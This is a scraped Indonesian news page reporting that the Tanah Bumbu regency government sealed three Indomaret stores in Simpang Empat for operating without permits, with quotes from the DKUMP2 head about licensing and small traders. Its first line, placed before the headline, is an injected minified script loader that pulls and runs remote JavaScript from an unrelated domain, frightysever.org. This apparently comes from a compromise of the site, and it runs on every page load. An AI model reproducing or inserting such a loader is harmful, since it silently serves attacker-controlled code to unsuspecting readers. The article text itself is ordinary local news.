(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Beroperasi Tanpa Izin, Tiga Toko Modern Ditutup Pemkab Tanbu


KANALKALIMANTAN.COM, BATULICIN – Dinas Koperasi, Usaha Mikro Perdagangan dan Perindustrian (DKUMP2) Kabupaten Tanah Bumbu menutup sejumlah gerai ritel modern di Kecamatan Simpang Empat, Kamis (10/2/2022) siang.

Ritel modern yang disegel kali ini diantaranya Indomaret di jalan Kuranji Desa Sarigadung, gerai Indomaret di Jalan Transmigrasi Plajau Km 3,2 Desa Baroqah, dan Indomaret yang ada di Jalan Raya Kodeco, Desa Gunung Antasari.

Sementara kegiatan DKUMP2 Tanbu melibatkan Satpol PP, Dinas Perkimtan, DPMPTSP, Bagian Perekonomian, Dinas PUPR, serta Kecamatan Simpang Empat.

Kepala DKUMP2 Tanbu, H Denny Harianto mengatakan, penutupan dilakukan sebagai upaya pemerintah daerah menertibkan toko modern yang tidak memiliki izin, namun sudah beroperasional.

 

Baca juga : Armada Literasi Menjangkau Tanbu, Kadispersip: Kita Kurang Mendekatkan Buku ke Anak-anak

Selain itu disebutkannya, ketiga gerai ritel modern yang ditutup sebelumnya sudah diberi teguran keras dan sanksi administratif. Diharapkan dapat menimbulkan efek jera bagi para pemilik usaha yang bersangkutan.

“Dalam penertiban ini, kami tidak ingin ada lagi pengusaha atau pemilik toko modern yang semaunya mendirikan atau membuat usaha di wilayah Tanah Bumbu,” tegas H Denny.

Ia memastikan aksi penertiban akan berlanjut ke semua toko ritel modern, agar dapat memberikan contoh terkait perizinan bagi para pelaku usaha. Karena semua toko modern dan seluruh sektor usaha di Tanbu harus memenuhi standar perizinan yang berlaku.

“Kita tidak membatasi mereka, silahkan mereka membangun usaha, sepanjang tidak ada masyarakat yang keberatan, tidak melanggar aturan dan perizinan, mereka harus melengkapi semua itu,” jelas H Denny.

 

Baca juga : Jelang Porprov Kalsel 2022, Ini Harapan Ketua KONI HSU ke Diskominfo

Memang diakuinya, keberadaan toko modern ada dampak positifnya. Dampak positif yang dirasakan seperti meningkatkan perekonomian di wilayah tempat toko modern itu berada.

Dampak negatif diakui dirasakan sebagian pedagang kecil yang keberatan, karena keberadaan toko modern dianggap mematikan usaha kelontongan warga.

“Oleh karena itu, di setiap kecamatan memang toko modern yang berdiri harus menyesuaikan dengan jumlah penduduk setempat. Harus memperhatikan jarak antara toko dengan pasar tradisional dan ritel yang ada sekitarnya, kalau mereka pedagang ritel merasa tidak masalah, ya silahkan,” pungkas H Denny. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

38 menit ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

16 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

19 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

22 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

23 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

23 jam ago

This website uses cookies.